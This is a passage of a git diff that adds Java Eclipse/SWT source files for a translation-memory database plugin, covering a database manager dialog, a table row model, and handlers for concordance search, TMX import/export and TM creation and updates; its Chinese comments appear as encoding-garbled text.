dbMetaDataMap.get(getCurrDbType()); + + if (!isAdd) { + Control[] childrens = locationText.getParent().getChildren(); + for (Control c : childrens) { + if (!(c instanceof Composite)) { + if (c instanceof Text || c instanceof Button) { + c.setEnabled(false); + } + } else { + Composite com = (Composite) c; + Control[] ch = com.getChildren(); + for (Control chl : ch) { + if (c instanceof Text || c instanceof Button) { + chl.setEnabled(false); + } + } + } + } + } else { + if (curDbMetaData.dataPathSupported()) { + locationText.setEnabled(true); + borwserBtn.setEnabled(true); + } else { + locationText.setEnabled(false); + borwserBtn.setEnabled(false); + } + + if (curDbMetaData.serverNameSupported()) { + hostText.setEnabled(true); + } else { + hostText.setEnabled(false); + } + + if (curDbMetaData.instanceSupported()) { + instanceText.setEnabled(true); + } else { + instanceText.setEnabled(false); + } + + if (curDbMetaData.portSupported()) { + portText.setEnabled(true); + } else { + portText.setEnabled(false); + } + + if (curDbMetaData.userNameSupported()) { + usernameText.setEnabled(true); + } else { + usernameText.setEnabled(false); + } + + if (curDbMetaData.passwordSupported()) { + passwordText.setEnabled(true); + } else { + passwordText.setEnabled(false); + } + } + } + + private List searchCurrServerDatabase(SystemDBOperator sysDbOp, + DatabaseModelBean currServer) { + List temp = new ArrayList(); + // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“ + if (!sysDbOp.checkSysDb()) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 检查是å¦åˆ›å»ºäº†åº“ + List dbNames = sysDbOp.getSysDbNames(Constants.DB_TYPE_TM); + if (dbNames.size() == 0) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 获å–æ•°æ®åº“相关资料,å°è£…了库å称和语言 + MetaData metaData = currServer.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + for (int i = 0; i < dbNames.size(); i++) { + DatabaseManagerDbListBean bean = new DatabaseManagerDbListBean(); + String dbName = dbNames.get(i); + bean.setIndex(i + 1 + ""); + bean.setDbName(dbName); + metaData.setDatabaseName(dbName); + dbop.setMetaData(metaData); + String lang = ""; + try { + dbop.start(); + List langs = dbop.getLanguages(); + for (int j = 0; j < langs.size(); j++) { + lang += langs.get(j); + if (j != langs.size() - 1) { + lang += ","; + } + } + } catch (Exception e1) { + logger.error("", e1); + continue; + } finally{ + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + logger.error("",e); + } + } + if (lang.equals("")) { + bean.setLangs(Messages.getString("dialog.TmDbManagerDialog.msg10")); + } else { + bean.setLangs(lang); + } + temp.add(bean); + } + return temp; + } + + /** + * 执行查询 + * @param sysDbOp + * ; + */ + private void executeSearch(final SystemDBOperator sysDbOp) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + setLastSelectedServer(null); + return; + } + + // 获å–æ•°æ®åº“ä¿¡æ¯,包括å称和语言 + List temp = searchCurrServerDatabase(sysDbOp, currServer); + + currServerdbListInput.clear(); + if (temp != null) { + currServerdbListInput.addAll(temp); + if (temp.size() > 0) { + getDbTableViewer().setSelection(new StructuredSelection(temp.get(0))); + } + setLastSelectedServer(currServer.getId()); + } + } + }); + } + + /** + * 创建新库 ; + */ + private void createNewDatabase() { + // æ•°æ®åº“连接å‚数输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + status.getMessage()); + return; + } + SystemDBOperator sysDbOp = getCurrSysDbOp(); + + if (sysDbOp == null) { + return; + } + + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + return; + } + + DatabaseNameInputDialog inputDbNameialog = new DatabaseNameInputDialog(getShell(), + Messages.getString("dialog.TmDbManagerDialog.inputDbNameialogTitle"), + Messages.getString("dialog.TmDbManagerDialog.inputDbNameialogMsg"), "", new IInputValidator() { + public String isValid(String newText) { + String vRs = DbValidator.valiateDbName(newText); + return vRs; + } + }); + inputDbNameialog.setSystemDbOp(sysDbOp); + if (inputDbNameialog.open() == Window.OK) { + executeSearch(sysDbOp); // åˆ·æ–°ç•Œé¢ + } + } + + /** key-æ•°æ®åº“çš„æ•°æ®åº“å°è£…,value-库中的语言 */ + private Map hasSelected; + + /** + * 当使用该对è¯æ¡†ä½œä¸ºæ•°æ®åº“选择时 ; + */ + private void executeSelectDatabase() { + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + hasSelected = new HashMap(); + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + + Iterator it = structuredSelection.iterator(); + while (it.hasNext()) { + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) it.next(); + DatabaseModelBean dbModelBean = new DatabaseModelBean(); + currServer.copyToOtherIntance(dbModelBean); + dbModelBean.setDbName(dbBean.getDbName()); + hasSelected.put(dbModelBean, dbBean.getLangs()); + } + } + + protected void okPressed() { + if (getDialogUseFor() == TYPE_DBSELECTED) { + executeSelectDatabase(); + } + super.okPressed(); + } + + @Override + public boolean close() { + if(internalDbImg != null && !internalDbImg.isDisposed()){ + internalDbImg.dispose(); + } + if(mySqlImg != null && !mySqlImg.isDisposed()){ + mySqlImg.dispose(); + } + if(oracleImg != null && !oracleImg.isDisposed()){ + oracleImg.dispose(); + } + if(sqlServerImg!= null && !sqlServerImg.isDisposed()){ + sqlServerImg.dispose(); + } + if(postgreImg != null && !postgreImg.isDisposed()){ + postgreImg.dispose(); + } + if(ipImg != null && !ipImg.isDisposed()){ + ipImg.dispose(); + } + if(sqliteImg != null && !sqliteImg.isDisposed()){ + sqliteImg.dispose(); + } + return super.close(); + } + + /** + * 获å–当å‰é€‰æ‹©çš„库 + * @return ; + */ + public Map getHasSelectedDatabase() { + if (hasSelected != null) { + return hasSelected; + } else { + return new HashMap(); + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/XPropRow.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/XPropRow.java new file mode 100644 index 0000000..3527e85 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/XPropRow.java @@ -0,0 +1,121 @@ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.util.ArrayList; +import java.util.HashMap; + +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.model.IRow; + +/** + * 创建相关æœç´¢çš„行所需的类 + * @author peason + * @version + * @since JDK1.6 + */ +public class XPropRow extends PropertyObservableBase implements IRow { + + private String source; + + private ArrayList lstTarget; + + private String target; + + private String attribute; + + private HashMap dataMap; + + private HashMap map; + + /** 标记 */ + private boolean flag; + + public XPropRow(boolean flag, String source, ArrayList lstTarget, String attribute) { + this.flag = flag; + this.source = source; + this.lstTarget = lstTarget; + this.attribute = attribute; + } + + + public XPropRow(boolean flag, String source, ArrayList lstTarget, String target, String attribute) { + this.flag = flag; + this.source = source; + this.lstTarget = lstTarget; + this.target = target; + this.attribute = attribute; + } + + public boolean getFlag() { + return flag; + } + + public void setFlag(boolean flag) { + this.flag = flag; + firePropertyChange("Flag", null, flag); + } + + public String getId() { + return Integer.toString(hashCode()); + } + + public String getSource() { + return source; + } + + public void setSource(String source) { + this.source = source; + firePropertyChange("Source", null, source); + } + + public ArrayList getLstTarget() { + return lstTarget; + } + + public void setLstTarget(ArrayList lstTarget) { + this.lstTarget = lstTarget; + for (String lang : lstTarget) { + firePropertyChange(lang, null, lang); + } + } + + public String getTarget() { + return target; + } + + public void setTarget(String target) { + this.target = target; + firePropertyChange("Target", null, target); + } + + public String getAttribute() { + return attribute; + } + + public void setAttribute(String attribute) { + this.attribute = attribute; + firePropertyChange("Attribute", null, attribute); + } + + public HashMap getDataMap() { + return dataMap; + } + + public void setDataMap(HashMap dataMap) { + this.dataMap = dataMap; + } + + public void setData(String key, Object obj) { + if (map == null) { + map = new HashMap(); + } + map.put(key, obj); + } + + public Object getData(String key) { + if (map == null) { + return null; + } else { + return map.get(key); + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ConcordanceSearchHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ConcordanceSearchHandler.java new file mode 100644 index 0000000..60cb731 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ConcordanceSearchHandler.java @@ -0,0 +1,96 @@ +package net.heartsome.cat.database.ui.tm.handler; + +import java.util.Collections; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.expressions.IEvaluationContext; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPartSite; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.services.IEvaluationService; +import org.slf4j.LoggerFactory; + +/** + * 相关æœç´¢çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ConcordanceSearchHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + if (!isEnabled()) { + return null; + } + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof IXliffEditor) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ConcordanceSearchHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IXliffEditor xliffEditor = (IXliffEditor) editor; + String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + + IEditorPart editorRefer = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .getActiveEditor(); + if (editorRefer.getSite().getId().equals(XLIFF_EDITOR_ID)) { + // IProject project = ((FileEditorInput) editorRefer.getEditorInput()).getFile().getProject(); + IFile file = ((FileEditorInput) editorRefer.getEditorInput()).getFile(); + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(file.getProject()); + List lstDatabase = projectConfig.getAllTmDbs(); + if (lstDatabase.size() == 0) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.ConcordanceSearchHandler.msgTitle"), + Messages.getString("handler.ConcordanceSearchHandler.msg")); + return null; + } + + String selectText = xliffEditor.getSelectPureText(); + if ((selectText == null || selectText.equals("")) && xliffEditor.getSelectedRowIds().size() == 1) { + selectText = xliffEditor.getXLFHandler().getSrcPureText(xliffEditor.getSelectedRowIds().get(0)); + } else if (selectText == null) { + selectText = ""; + } + ConcordanceSearchDialog dialog = new ConcordanceSearchDialog(editorRefer.getSite().getShell(), file, + xliffEditor.getSrcColumnName(), xliffEditor.getTgtColumnName(), selectText.trim()); + dialog.open(); + if (selectText != null && !selectText.trim().equals("")) { + dialog.initGroupIdAndSearch(); + IWorkbenchPartSite site = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getActiveEditor().getSite(); + ICommandService commandService = (ICommandService) site.getService( + ICommandService.class); + Command command = commandService + .getCommand(ActionFactory.COPY.getCommandId()); + IEvaluationService evalService = (IEvaluationService) site.getService( + IEvaluationService.class); + IEvaluationContext currentState = evalService.getCurrentState(); + ExecutionEvent executionEvent = new ExecutionEvent(command, Collections.EMPTY_MAP, this, currentState); + try { + command.executeWithChecks(executionEvent); + } catch (Exception e1) {} + } + } + } + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ExportTmxHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ExportTmxHandler.java new file mode 100644 index 0000000..2d91e55 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ExportTmxHandler.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.ui.tm.handler; +import net.heartsome.cat.database.ui.tm.dialog.ExportTmxDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * ExportTmxHandler.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ExportTmxHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + SystemResourceUtil.load(); + ExportTmxDialog dialog = new ExportTmxDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ImportTmxHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ImportTmxHandler.java new file mode 100644 index 0000000..3864966 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/ImportTmxHandler.java @@ -0,0 +1,45 @@ +/** + * ImportTmxHandler.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.handler; + +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog; +import net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizard; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTmxHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + SystemResourceUtil.load(); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + TmDbManagerImportWizard wizard = new TmDbManagerImportWizard(); + ImportTmxWizardDialog dlg = new ImportTmxWizardDialog(window.getShell(), wizard); + dlg.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/NewTMHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/NewTMHandler.java new file mode 100644 index 0000000..dfccc0f --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/NewTMHandler.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.database.ui.tm.handler; + +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog; +import net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 新建记忆库的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class NewTMHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(NewTMHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + NewTmDbWizard wizard = new NewTmDbWizard(); + ImportTmxWizardDialog dialog = new ImportTmxWizardDialog(window.getShell(), wizard); + dialog.open(); + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/TmDbManageHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/TmDbManageHandler.java new file mode 100644 index 0000000..0c1f478 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/TmDbManageHandler.java @@ -0,0 +1,49 @@ +/** + * TmDbManageHandler.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.handler; + +import net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TmDbManageHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + SystemResourceUtil.load(); + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(TmDbManageHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + TmDbManagerDialog dialog = new TmDbManagerDialog(HandlerUtil.getActiveShell(event)); + dialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBMANAGE); + dialog.open(); + + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/UpdateTMHandler.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/UpdateTMHandler.java new file mode 100644 index 0000000..a6fa336 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/handler/UpdateTMHandler.java @@ -0,0 +1,176 @@ +package net.heartsome.cat.database.ui.tm.handler; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard; +import net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目 > 更新记忆库的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class UpdateTMHandler extends AbstractHandler { + + public static final Logger LOGGER = LoggerFactory.getLogger(UpdateTMHandler.class); + + public Object execute(ExecutionEvent event) throws ExecutionException { + Shell shell = HandlerUtil.getActiveShell(event); + String partId = HandlerUtil.getActivePartId(event); + ArrayList lstXliff = new ArrayList(); +// boolean isShowCurrentLangBtn = true; + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + // ISelection selection = HandlerUtil.getCurrentSelection(event); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile file = (IFile) obj; + // Linux 下的文本文件无扩展å,因此è¦å…ˆåˆ¤æ–­æ‰©å±•å是å¦ä¸ºç©º + if (file.getFileExtension() != null && CommonFunction.validXlfExtension(file.getFileExtension())) { + lstXliff.add(file); + } + } else if (obj instanceof IFolder) { + try { + ResourceUtils.getXliffs((IFolder) obj, lstXliff); + } catch (CoreException e) { + LOGGER.error(Messages.getString("handler.UpdateTMHandler.logger1"), e); + MessageDialog.openInformation(shell, + Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg1")); + } + } else if (obj instanceof IProject) { + try { + ResourceUtils.getXliffs((IProject) obj, lstXliff); + } catch (CoreException e) { + LOGGER.error(Messages.getString("handler.UpdateTMHandler.logger2"), e); + MessageDialog.openInformation(shell, + Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg2")); + } + } + } + + CommonFunction.removeRepeateSelect(lstXliff); + + if (lstXliff.size() == 0) { + MessageDialog.openInformation(shell, Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg3")); + return null; + } + + Iterator iterator = lstXliff.iterator(); + + while (iterator.hasNext()) { + IFile file = iterator.next(); + FileEditorInput editorInput = new FileEditorInput(file); + IEditorPart editorPart = page.findEditor(editorInput); + if (editorPart == null || (editorPart != null && !(editorPart instanceof IXliffEditor))) { +// isShowCurrentLangBtn = false; + break; + } + } + } else { + MessageDialog.openInformation(shell, Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg3")); + return null; + } + } else if (partId.equals("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor")) { + // nattable å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPart part = HandlerUtil.getActivePartChecked(event); + IEditorInput editorInput = ((IEditorPart) part).getEditorInput(); + IFile iFile = (IFile) editorInput.getAdapter(IFile.class); + IEditorPart editor = HandlerUtil.getActiveEditor(event); + IXliffEditor xliffEditor = (IXliffEditor) editor; + + if (xliffEditor.isMultiFile()) { + List lstFile = new XLFHandler().getMultiFiles(iFile); + if (lstFile.size() > 0) { + for (String filePath : lstFile) { + lstXliff.add(ResourceUtils.fileToIFile(filePath)); + } + } + } else if (iFile.getFileExtension() != null && CommonFunction.validXlfExtension(iFile.getFileExtension())) { + lstXliff.add(iFile); + } + } + if (lstXliff.size() > 0) { + if (lstXliff.size() > 1) { + String projectPath = lstXliff.get(0).getProject().getFullPath().toOSString(); + for (int i = 1; i < lstXliff.size(); i++) { + String projectPath2 = lstXliff.get(i).getProject().getFullPath().toOSString(); + if (!projectPath.equals(projectPath2)) { + MessageDialog.openInformation(shell, Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg4")); + return null; + } + } + } + ArrayList lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : lstXliff) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + lstXliff.removeAll(lstFiles); + if (lstXliff.size() == 0) { + return null; + } + + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(lstXliff.get(0).getProject()); + if (projectConfig.getDefaultTMDb() == null) { + MessageDialog.openInformation(shell, Messages.getString("handler.UpdateTMHandler.msgTitle"), + Messages.getString("handler.UpdateTMHandler.msg5")); + return null; + } + + UpdateTMWizard wizard = new UpdateTMWizard(lstXliff); + TSWizardDialog dialog = new UpdateTMWizardDialog(shell, wizard); +// UpdateTMDialog dialog = new UpdateTMDialog(shell, isShowCurrentLangBtn, lstXliff); + dialog.open(); + } + return null; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/newproject/NewProjectTmPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/newproject/NewProjectTmPage.java new file mode 100644 index 0000000..7eec883 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/newproject/NewProjectTmPage.java @@ -0,0 +1,465 @@ +package net.heartsome.cat.database.ui.tm.newproject; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.ImageConstants; +import net.heartsome.cat.database.ui.tm.Utils; +import net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog; +import 